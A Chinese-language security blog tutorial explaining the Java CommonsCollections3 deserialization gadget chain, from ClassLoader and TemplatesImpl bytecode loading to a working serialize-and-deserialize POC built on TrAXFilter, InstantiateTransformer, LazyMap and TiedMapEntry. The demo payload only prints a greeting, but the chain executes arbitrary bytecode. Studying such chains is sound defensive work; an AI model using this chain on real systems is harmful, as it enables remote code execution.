JAVA反序列化之CommonCollections3利用链

JAVA反序列化之CommonCollections3利用链

Gat1ta 250 2022-01-19

之前我们已经构造了一个通用版本的CC6利用链,为什么还需要一个CC3利用链呢?

为什么要有CC3利用链?

2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin
your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安
全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的
类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单:
image.png
这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有
防,ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3,代码如下:
image.png
CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。
CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个
类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。

ClassLoader

目前看这些代码还有一些懵,因为缺少了一些必要的知识,下面来简单了解一下。
ClassLoader,类如其名,这是一个类加载器,用来明确如何加载一个类。
众所周知,JAVA源代码的后缀是以.java结尾的,而编译完之后是以.class为结尾的,这个.class文件就是编译后的字节码文件,每一个类都会被编译成一个class文件。而加载器定义了如何加载这些类:

    public static void URLLoader() throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class cls = loader.loadClass("Hello");
        Object ob = cls.newInstance();
    }

以上代码是一个通过URLClassLoader加载类的Demo,通过一个URL地址去下载类文件并且加载,运行代码,可以得到如下输出:
image.png

利用ClassLoader#defineClass直接加载字节码

上一节中我们认识到了如何利用URLClassLoader加载远程class文件,也就是字节码。其实,不管是加
载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
image.png
其中:
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机
制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在
本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类。
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。
我们可以编写一个简单的代码,来演示如何让系统的 defineClass 来直接加载字节码:

public static void defineClass() throws Exception {
        byte[] code = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");

        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        Class Hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        Hello.newInstance();

    }

这个Class文件和上面通过URLClassLoader加载的类文件是一个文件,运行这段代码,同样可以看到输入:
image.png
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得
不使用反射的形式来调用。
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我
们常用的一个攻击链 TemplatesImpl 的基石。

利用TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它(否则他
也没存在的价值了对吧),这就是 TemplatesImpl 。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类
TransletClassLoader :

static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

这个类里重写了 defineClass 方法,并且这里没有显式地声明访问权限。Java中默认情况下,如果一个
方法没有显式声明访问权限,那么默认为包访问权限。这也就意味着当前包中所有其他类对这个成员都有访问权限,但对于这个包之外的所有类,这个成员就是private。
我们从 TransletClassLoader#defineClass() 向前追溯一下调用链:

TemplatesImpl#getOutputProperties()  
TemplatesImpl#newTransformer()   
TemplatesImpl#getTransletInstance()   
TemplatesImpl#defineTransletClasses()  
TransletClassLoader#defineClass()  

追到最前面两个方法 TemplatesImpl#getOutputProperties() 、
TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。我们尝试用
newTransformer() 构造一个简单的POC:

    public static void main(String[] args) throws Exception
    {
        byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {fileData});
        setFieldValue(obj, "_name", "Hello");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }

其中, setFieldValue 方法用来设置私有属性,可见,这里我设置了三个属性: _bytecodes 、 _name
和 _tfactory 。
_bytecodes 是由字节码组成的数组;
_name 可以是任意字符串,只要不为null即可;
_tfactory 需要是一个 TransformerFactoryImpl 对象,因为
TemplatesImpl#defineTransletClasses() 方法里有调用到
_tfactory.getExternalExtensionsMap() ,如果是null会出错。
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
所以,我们需要构造一个特殊的类:

public class Hello extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException{

    }
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler)
            throws TransletException{

    }
    public Hello(){
        super();
        System.out.println("Hello java");
    }
}

它继承了 AbstractTranslet 类,并在构造函数里插入Hello的输出。将其编译成字节码,即可被TemplatesImpl 执行了:
image.png
这里需要注意一下,被执行的字节码的类,是不能有包信息的,如果有包信息则会执行失败。

CC3利用链的实现

说了这么多前置知识,现在回头来看看CC3的具体实现:
image.png
首先可以看到没有了InvokerTransformer类,取而代之的是InstantiateTransformer类,这个类也是Transformer接口的子类,看一下这个类的定义:
image.png
可以看到这个类的transform方法调用了input的构造函数。
这就说明,关键点就在于TrAXFilter类的构造函数了:
image.png
可以看到TrAXFilter的构造函数需要一个Templates类的对象,然后调用了这个对象的newTransformer方法。看到这个方法有没有觉得眼熟?
没错,之前我们追溯的TransletClassLoader#defineClass()调用链第二个方法就是这个newTransformer方法。
通过调用这个方法,就可以执行任意字节码。接下来我们按照CC3的方式构造一个POC,完整代码如下:

public class cc3 {
    public static void main(String[] args) throws Exception
    {
        byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "Hello");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        setFieldValue(transformerChain,"iTransformers",transformers);
        lazyMap.get(1);
    }
    public static byte[] readFileToByte(String path) throws Exception
    {
        FileInputStream fip = new FileInputStream(path);
        BufferedInputStream bis = new BufferedInputStream(fip);

        ByteArrayBuffer bab = new ByteArrayBuffer();
        int readSize;
        byte[] buffer = new byte[1024];
        while((readSize=bis.read(buffer))!=-1)
        {
            bab.write(buffer,0,readSize);
        }
        System.out.println(bab.getRawData().length);
        return bab.getRawData();
    }
    public static void setFieldValue(Object ob,String field,Object value) throws Exception {
        Field fd = null;
        try{
            fd = ob.getClass().getDeclaredField(field);
            fd.setAccessible(true);
        }
        catch (Exception e)
        {
            fd = ob.getClass().getField(field);
        }
        fd.set(ob,value);

    }
}

这里利用的字节码还是跟之前的Hello类一样,运行这段代码,得到如下输出:
image.png
这段代码只是为了验证利用链的可行性,并没有加入反序列化方面的代码,看一下CC3利用链的反序列化代码如下:
image.png
可以看到,反序列化方面还是和CC1利用链是一样的代码,这种方式在JDK8U71之后就无法使用了,原因之前已经分析过了这里就不在赘述了。

构建通用的POC

不过有之前分析CC6的经验,我们可以用CC6的方法自己改造一个通用的POC,代码如下:

    public static void main(String[] args) throws Exception
    {
        byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "Hello");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);

        map.add(entry);

        lazyMap.remove("foo");

        setFieldValue(transformerChain,"iTransformers",transformers);

        ByteOutputStream bout = new ByteOutputStream();
        ObjectOutputStream obo = new ObjectOutputStream(bout);
        obo.writeObject(map);

        ByteInputStream bip = new ByteInputStream(bout.getBytes(),bout.size());
        ObjectInputStream ois = new ObjectInputStream(bip);
        ois.readObject();


    }

运行代码得到如下输出:
image.png

总结

该篇文章主要参考P牛Java安全漫谈。
CC3利用链重点在于理解TemplatesImpl通过ClassLoader加载字节码,理解了这一点其他的和之前的链差不多。